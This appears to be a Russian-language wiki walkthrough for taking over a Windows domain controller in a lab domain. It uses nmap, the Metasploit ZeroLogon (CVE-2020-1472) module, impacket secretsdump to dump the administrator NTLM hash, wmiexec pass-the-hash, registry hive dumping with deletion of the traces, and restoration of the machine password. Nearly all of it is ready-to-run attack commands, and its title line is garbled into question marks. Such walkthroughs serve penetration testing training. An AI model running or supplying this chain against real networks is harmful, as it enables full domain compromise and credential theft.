?????? ??????? ???????????

Есть доступ к машине с ОС Windows, задача — взломать контроллер домена, извлечь данные объектов домена и закрепить доступ в домене.

Ход действий

1. Проведем сканирование сервера с помощью nmap:

```
nmap -Pn -n -F -v --open 192.168.0.117
```

Список портов типичен для контроллера домена: помимо стандартных для Windows портов SMB, MS-RPC и NetBIOS присутствует также DNS-сервер на порту 53, сервер используемого для авторизации в домене протокола Kerberos на 88 и протокол доступа к каталогам LDAP на 389.

2. Попробуем определить версию DNS-сервера с помощью сканирования SMB-порта с помощью скриптов nmap:

```
nmap -Pn -n -p 445 -sV -sC -v --open 192.168.0.117
```

Данная версия Windows Server, выполняющего роль контроллера домена, может быть подвержена ZeroLogon – уязвимости, позволяющей получить полный доступ к контроллеру домена без учетных данных.

3. Используем средства Metasploit Framework для проверки сервера на эту уязвимость:

```
msfconsole
msf6> search zerologon
msf6> use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
```

4. Указываем IP сервера и его NetBIOS имя, ранее полученное при сканировании nmap, проверим и запустим эксплуатацию:

```
msf6> set RHOSTS 192.168.0.117
msf6> set NBNAME DC1
msf6> check
msf6> run
```

Данная техника эксплуатации приводит к установке пустого пароля машинного аккаунта контроллера домена, что может повлечь нарушение работы домена в целом.

5. Для корректной эксплуатации нам нужно сначала получить учетные данные администратора домена, а затем, используя их, восстановить старый пароль машинного аккаунта. Используем для этого impacket — набор инструментов для работы с протоколами сетевого и прикладного уровня в Python, позволяющего взаимодействовать с Windows-сетями из Linux и вести тестирование их безопасности.

```
locate impacket
```

6. Ключевым инструментом на этом шаге будет secretsdump – скрипт, используемый для получения учетных данных с удаленных Windows-компьютеров или локальных файлов реестра.

```
python3 /usr/lib/python3/dist-packages/impacket/examples/secretsdump.py
impacket-secretsdump -h
```

7. Используем secretsdump для получения NTLM-хэша администратора домена. Ключ -just-dc-user позволяет получить хэш нужного нам пользователя, -no-pass указывает на то, что пароль машинного аккаунта пустой, sandbox.local – имя домена, DC1$ - имя машинной учетной записи, а IP 192.168.0.117 – адрес контроллера домена.

```
impacket-secretsdump -no-pass -just-dc-user administrator 'sandbox.local/DC1$@192.168.0.117'
```

8. Для восстановления пароля машинной учетной записи нам необходимо вытащить его из реестра Windows, для чего мы можем подключиться к контроллеру домена с помощью инструмента wmiexec, который используется для выполнения команд на удаленной системе Windows через WMI (Windows Management Instrumentation).

9. Укажем ранее полученный хэш администратора и проверим права после подключения:

```
$ impacket-wmiexec -hashes <hash> 'sandbox.local/administrator@192.168.0.117'
C:\> whoami
```

10. Сохраним интересующие нас ветки реестра в отдельные файлы:

```
C:\> reg save HKLM\SYSTEM system.save
C:\> reg save HKLM\SAM sam.save
C:\> reg save HKLM\SECURITY security.save
```

11. Скачаем эти файлы на локальную машину:

```
C:\> lget system.save
C:\> lget sam.save
C:\> lget security.save
```

И удалим их:

```
C:\> del /f system.save security.save sam.save
```

12. Локально проанализируем эти файлы с помощью impacket-secretsdump:

```
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
```

13. Теперь, когда мы получили старый пароль машинного аккаунта из секретов LSA, мы можем вновь запустить эксплойт из msf, но уже в режиме восстановления пароля:

```
$ msfconsole
msf6> use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf6> set RHOSTS 192.168.0.17
msf6> set NBNAME DC1
```

14. Опции при этом останутся прежними, кроме двух новых: ACTION – выбора действия и PASSWORD – значения пароля машинного аккаунта в HEX и восстановим пароль:

```
msf6> set ACTION RESTORE
msf6> set PASSWORD <$MACHINE.ACC hex password>
msf6> run
```

15. Убедимся, что доступ сохранился:

```
$ impacket-wmiexec -hashes <hash> 'sandbox.local/administrator@192.168.0.117'
```

Revision #1
Created 11 October 2025 16:53:08 by Admin
Updated 11 October 2025 17:06:20 by Admin